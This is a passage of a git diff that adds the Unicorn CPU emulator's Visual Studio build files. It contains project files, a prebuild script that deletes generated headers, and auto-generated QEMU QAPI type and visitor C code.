Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\cpu.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\dsp_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\lmi_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\msa_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\op_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\translate.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\translate_init.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\unicorn.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/prebuild_script.bat b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/prebuild_script.bat new file mode 100644 index 0000000..417682a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/prebuild_script.bat @@ -0,0 +1,21 @@ +del ..\..\qemu\qapi-types.h 2> null +del ..\..\qemu\qapi-types.c 2> null + +del ..\..\qemu\qapi-visit.h 2> null +del ..\..\qemu\qapi-visit.c 2> null + +del ..\..\qemu\config-host.h 2> null + +del ..\..\qemu\aarch-softmmu\config-target.h 2> null +del ..\..\qemu\aarcheb-softmmu\config-target.h 2> null +del ..\..\qemu\arm-softmmu\config-target.h 2> null +del ..\..\qemu\armeb-softmmu\config-target.h 2> null +del ..\..\qemu\m68k-softmmu\config-target.h 2> null +del ..\..\qemu\mips64el-softmmu\config-target.h 2> null +del ..\..\qemu\mips64-softmmu\config-target.h 2> null +del ..\..\qemu\mipsel-softmmu\config-target.h 2> null +del ..\..\qemu\mips-softmmu\config-target.h 2> null +del ..\..\qemu\sparc64-softmmu\config-target.h 2> null +del ..\..\qemu\sparc-softmmu\config-target.h 2> null +del ..\..\qemu\x86_64-softmmu\config-target.h 2> null +del null diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-types.c b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-types.c new file mode 100644 index 0000000..173c654 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-types.c @@ -0,0 +1,293 @@ +/* AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * deallocation functions for schema-defined QAPI types + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * Michael Roth <mdroth@linux.vnet.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qapi/dealloc-visitor.h" +#include "qapi-types.h" +#include "qapi-visit.h" + +const char *ErrorClass_lookup[] = { + "GenericError", + "CommandNotFound", + "DeviceEncrypted", + "DeviceNotActive", + "DeviceNotFound", + "KVMMissingCap", + NULL, +}; + +const char *X86CPURegister32_lookup[] = { + "EAX", + "EBX", + "ECX", + "EDX", + "ESP", + "EBP", + "ESI", + "EDI", + NULL, +}; + + +#ifndef QAPI_TYPES_BUILTIN_CLEANUP_DEF_H +#define QAPI_TYPES_BUILTIN_CLEANUP_DEF_H + + +void qapi_free_strList(strList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_strList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_intList(intList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_intList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_numberList(numberList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_numberList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_boolList(boolList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_boolList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_int8List(int8List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_int8List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_int16List(int16List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_int16List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_int32List(int32List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_int32List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_int64List(int64List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_int64List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_uint8List(uint8List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_uint8List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_uint16List(uint16List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_uint16List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_uint32List(uint32List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_uint32List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +void qapi_free_uint64List(uint64List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_uint64List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + +#endif /* QAPI_TYPES_BUILTIN_CLEANUP_DEF_H */ + + +void qapi_free_ErrorClassList(ErrorClassList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_ErrorClassList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + + +void qapi_free_X86CPURegister32List(X86CPURegister32List *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_X86CPURegister32List(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + + +void qapi_free_X86CPUFeatureWordInfoList(X86CPUFeatureWordInfoList *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_X86CPUFeatureWordInfoList(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + + +void qapi_free_X86CPUFeatureWordInfo(X86CPUFeatureWordInfo *obj) +{ + QapiDeallocVisitor *md; + Visitor *v; + + if (!obj) { + return; + } + + md = qapi_dealloc_visitor_new(); + v = qapi_dealloc_get_visitor(md); + visit_type_X86CPUFeatureWordInfo(v, &obj, NULL, NULL); + qapi_dealloc_visitor_cleanup(md); +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-types.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-types.h new file mode 100644 index 0000000..944e882 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-types.h @@ -0,0 +1,228 @@ +/* AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * schema-defined QAPI types + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef QAPI_TYPES_H +#define QAPI_TYPES_H + +#include "unicorn/platform.h" + + +#ifndef QAPI_TYPES_BUILTIN_STRUCT_DECL_H +#define QAPI_TYPES_BUILTIN_STRUCT_DECL_H + + +typedef struct strList +{ + union { + char *value; + uint64_t padding; + }; + struct strList *next; +} strList; + +typedef struct intList +{ + union { + int64_t value; + uint64_t padding; + }; + struct intList *next; +} intList; + +typedef struct numberList +{ + union { + double value; + uint64_t padding; + }; + struct numberList *next; +} numberList; + +typedef struct boolList +{ + union { + bool value; + uint64_t padding; + }; + struct boolList *next; +} boolList; + +typedef struct int8List +{ + union { + int8_t value; + uint64_t padding; + }; + struct int8List *next; +} int8List; + +typedef struct int16List +{ + union { + int16_t value; + uint64_t padding; + }; + struct int16List *next; +} int16List; + +typedef struct int32List +{ + union { + int32_t value; + uint64_t padding; + }; + struct int32List *next; +} int32List; + +typedef struct int64List +{ + union { + int64_t value; + uint64_t padding; + }; + struct int64List *next; +} int64List; + +typedef struct uint8List +{ + union { + uint8_t value; + uint64_t padding; + }; + struct uint8List *next; +} uint8List; + +typedef struct uint16List +{ + union { + uint16_t value; + uint64_t padding; + }; + struct uint16List *next; +} uint16List; + +typedef struct uint32List +{ + union { + uint32_t value; + uint64_t padding; + }; + struct uint32List *next; +} uint32List; + +typedef struct uint64List +{ + union { + uint64_t value; + uint64_t padding; + }; + struct uint64List *next; +} uint64List; + +#endif /* QAPI_TYPES_BUILTIN_STRUCT_DECL_H */ + + +extern const char *ErrorClass_lookup[]; +typedef enum ErrorClass +{ + ERROR_CLASS_GENERIC_ERROR = 0, + ERROR_CLASS_COMMAND_NOT_FOUND = 1, + ERROR_CLASS_DEVICE_ENCRYPTED = 2, + ERROR_CLASS_DEVICE_NOT_ACTIVE = 3, + ERROR_CLASS_DEVICE_NOT_FOUND = 4, + ERROR_CLASS_KVM_MISSING_CAP = 5, + ERROR_CLASS_MAX = 6, +} ErrorClass; + +typedef struct ErrorClassList +{ + union { + ErrorClass value; + uint64_t padding; + }; + struct ErrorClassList *next; +} ErrorClassList; + +extern const char *X86CPURegister32_lookup[]; +typedef enum X86CPURegister32 +{ + X86_CPU_REGISTER32_EAX = 0, + X86_CPU_REGISTER32_EBX = 1, + X86_CPU_REGISTER32_ECX = 2, + X86_CPU_REGISTER32_EDX = 3, + X86_CPU_REGISTER32_ESP = 4, + X86_CPU_REGISTER32_EBP = 5, + X86_CPU_REGISTER32_ESI = 6, + X86_CPU_REGISTER32_EDI = 7, + X86_CPU_REGISTER32_MAX = 8, +} X86CPURegister32; + +typedef struct X86CPURegister32List +{ + union { + X86CPURegister32 value; + uint64_t padding; + }; + struct X86CPURegister32List *next; +} X86CPURegister32List; + + +typedef struct X86CPUFeatureWordInfo X86CPUFeatureWordInfo; + +typedef struct X86CPUFeatureWordInfoList +{ + union { + X86CPUFeatureWordInfo *value; + uint64_t padding; + }; + struct X86CPUFeatureWordInfoList *next; +} X86CPUFeatureWordInfoList; + +#ifndef QAPI_TYPES_BUILTIN_CLEANUP_DECL_H +#define QAPI_TYPES_BUILTIN_CLEANUP_DECL_H + +void qapi_free_strList(strList *obj); +void qapi_free_intList(intList *obj); +void qapi_free_numberList(numberList *obj); +void qapi_free_boolList(boolList *obj); +void qapi_free_int8List(int8List *obj); +void qapi_free_int16List(int16List *obj); +void qapi_free_int32List(int32List *obj); +void qapi_free_int64List(int64List *obj); +void qapi_free_uint8List(uint8List *obj); +void qapi_free_uint16List(uint16List *obj); +void qapi_free_uint32List(uint32List *obj); +void qapi_free_uint64List(uint64List *obj); + +#endif /* QAPI_TYPES_BUILTIN_CLEANUP_DECL_H */ + + +void qapi_free_ErrorClassList(ErrorClassList *obj); + +void qapi_free_X86CPURegister32List(X86CPURegister32List *obj); + +struct X86CPUFeatureWordInfo +{ + int64_t cpuid_input_eax; + bool has_cpuid_input_ecx; + int64_t cpuid_input_ecx; + X86CPURegister32 cpuid_register; + int64_t features; +}; + +void qapi_free_X86CPUFeatureWordInfoList(X86CPUFeatureWordInfoList *obj); +void qapi_free_X86CPUFeatureWordInfo(X86CPUFeatureWordInfo *obj); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-visit.c b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-visit.c new file mode 100644 index 0000000..7733bb5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-visit.c @@ -0,0 +1,428 @@ +/* THIS FILE IS AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * schema-defined QAPI visitor functions + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#include "qemu-common.h" +#include "qapi-visit.h" + +void visit_type_strList(Visitor *m, strList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + strList *native_i = (strList *)i; + visit_type_str(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_intList(Visitor *m, intList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + intList *native_i = (intList *)i; + visit_type_int(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_numberList(Visitor *m, numberList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + numberList *native_i = (numberList *)i; + visit_type_number(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_boolList(Visitor *m, boolList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + boolList *native_i = (boolList *)i; + visit_type_bool(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_int8List(Visitor *m, int8List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + int8List *native_i = (int8List *)i; + visit_type_int8(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_int16List(Visitor *m, int16List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + int16List *native_i = (int16List *)i; + visit_type_int16(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_int32List(Visitor *m, int32List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + int32List *native_i = (int32List *)i; + visit_type_int32(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_int64List(Visitor *m, int64List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + int64List *native_i = (int64List *)i; + visit_type_int64(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_uint8List(Visitor *m, uint8List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + uint8List *native_i = (uint8List *)i; + visit_type_uint8(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_uint16List(Visitor *m, uint16List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + uint16List *native_i = (uint16List *)i; + visit_type_uint16(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_uint32List(Visitor *m, uint32List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + uint32List *native_i = (uint32List *)i; + visit_type_uint32(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_uint64List(Visitor *m, uint64List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + uint64List *native_i = (uint64List *)i; + visit_type_uint64(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_ErrorClassList(Visitor *m, ErrorClassList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + ErrorClassList *native_i = (ErrorClassList *)i; + visit_type_ErrorClass(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_ErrorClass(Visitor *m, ErrorClass *obj, const char *name, Error **errp) +{ + visit_type_enum(m, (int *)obj, ErrorClass_lookup, "ErrorClass", name, errp); +} + +void visit_type_X86CPURegister32List(Visitor *m, X86CPURegister32List **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + X86CPURegister32List *native_i = (X86CPURegister32List *)i; + visit_type_X86CPURegister32(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} + +void visit_type_X86CPURegister32(Visitor *m, X86CPURegister32 *obj, const char *name, Error **errp) +{ + visit_type_enum(m, (int *)obj, X86CPURegister32_lookup, "X86CPURegister32", name, errp); +} + +static void visit_type_X86CPUFeatureWordInfo_fields(Visitor *m, X86CPUFeatureWordInfo **obj, Error **errp) +{ + Error *err = NULL; + visit_type_int(m, &(*obj)->cpuid_input_eax, "cpuid-input-eax", &err); + if (err) { + goto out; + } + visit_optional(m, &(*obj)->has_cpuid_input_ecx, "cpuid-input-ecx", &err); + if (!err && (*obj)->has_cpuid_input_ecx) { + visit_type_int(m, &(*obj)->cpuid_input_ecx, "cpuid-input-ecx", &err); + } + if (err) { + goto out; + } + visit_type_X86CPURegister32(m, &(*obj)->cpuid_register, "cpuid-register", &err); + if (err) { + goto out; + } + visit_type_int(m, &(*obj)->features, "features", &err); + if (err) { + goto out; + } + +out: + error_propagate(errp, err); +} + +void visit_type_X86CPUFeatureWordInfo(Visitor *m, X86CPUFeatureWordInfo **obj, const char *name, Error **errp) +{ + Error *err = NULL; + + visit_start_struct(m, (void **)obj, "X86CPUFeatureWordInfo", name, sizeof(X86CPUFeatureWordInfo), &err); + if (!err) { + if (*obj) { + visit_type_X86CPUFeatureWordInfo_fields(m, obj, errp); + } + visit_end_struct(m, &err); + } + error_propagate(errp, err); +} + +void visit_type_X86CPUFeatureWordInfoList(Visitor *m, X86CPUFeatureWordInfoList **obj, const char *name, Error **errp) +{ + Error *err = NULL; + GenericList *i, **prev; + + visit_start_list(m, name, &err); + if (err) { + goto out; + } + + for (prev = (GenericList **)obj; + !err && (i = visit_next_list(m, prev, &err)) != NULL; + prev = &i) { + X86CPUFeatureWordInfoList *native_i = (X86CPUFeatureWordInfoList *)i; + visit_type_X86CPUFeatureWordInfo(m, &native_i->value, NULL, &err); + } + + error_propagate(errp, err); + err = NULL; + visit_end_list(m, &err); +out: + error_propagate(errp, err); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-visit.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-visit.h new file mode 100644 index 0000000..51bd088 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/qapi-visit.h @@ -0,0 +1,51 @@ +/* THIS FILE IS AUTOMATICALLY GENERATED, DO NOT MODIFY */ + +/* + * schema-defined QAPI visitor functions + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU LGPL, version 2.1 or later. + * See the COPYING.LIB file in the top-level directory. + * + */ + +#ifndef QAPI_VISIT_H +#define QAPI_VISIT_H + +#include "qapi/visitor.h" +#include "qapi-types.h" + + +#ifndef QAPI_VISIT_BUILTIN_VISITOR_DECL_H +#define QAPI_VISIT_BUILTIN_VISITOR_DECL_H + +void visit_type_strList(Visitor *m, strList **obj, const char *name, Error **errp); +void visit_type_intList(Visitor *m, intList **obj, const char *name, Error **errp); +void visit_type_numberList(Visitor *m, numberList **obj, const char *name, Error **errp); +void visit_type_boolList(Visitor *m, boolList **obj, const char *name, Error **errp); +void visit_type_int8List(Visitor *m, int8List **obj, const char *name, Error **errp); +void visit_type_int16List(Visitor *m, int16List **obj, const char *name, Error **errp); +void visit_type_int32List(Visitor *m, int32List **obj, const char *name, Error **errp); +void visit_type_int64List(Visitor *m, int64List **obj, const char *name, Error **errp); +void visit_type_uint8List(Visitor *m, uint8List **obj, const char *name, Error **errp); +void visit_type_uint16List(Visitor *m, uint16List **obj, const char *name, Error **errp); +void visit_type_uint32List(Visitor *m, uint32List **obj, const char *name, Error **errp); +void visit_type_uint64List(Visitor *m, uint64List **obj, const char *name, Error **errp); + +#endif /* QAPI_VISIT_BUILTIN_VISITOR_DECL_H */ + + +void visit_type_ErrorClass(Visitor *m, ErrorClass *obj, const char *name, Error **errp); +void visit_type_ErrorClassList(Visitor *m, ErrorClassList **obj, const char *name, Error **errp); + +void visit_type_X86CPURegister32(Visitor *m, X86CPURegister32 *obj, const char *name, Error **errp); +void visit_type_X86CPURegister32List(Visitor *m, X86CPURegister32List **obj, const char *name, Error **errp); + +void visit_type_X86CPUFeatureWordInfo(Visitor *m, X86CPUFeatureWordInfo **obj, const char *name, Error **errp); +void visit_type_X86CPUFeatureWordInfoList(Visitor *m, X86CPUFeatureWordInfoList **obj, const char *name, Error **errp); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/config-target.h new file mode 100644 index 0000000..3702f2f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/config-target.h @@ -0,0 +1,6 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_SPARC 1 +#define TARGET_NAME "sparc" +#define TARGET_SPARC 1 +#define TARGET_WORDS_BIGENDIAN 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/sparc-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/sparc-softmmu.vcxproj new file mode 100644 index 0000000..77bf054 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc-softmmu/sparc-softmmu.vcxproj @@ -0,0 +1,230 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\target-sparc\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-sparc\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-sparc\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-sparc\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\sparc.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\sparc\leon3.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\cc_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\fop_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\int32_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\ldst_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\mmu_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\unicorn.c" /> + <ClCompile Include="..\..\..\qemu\target-sparc\win_helper.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild 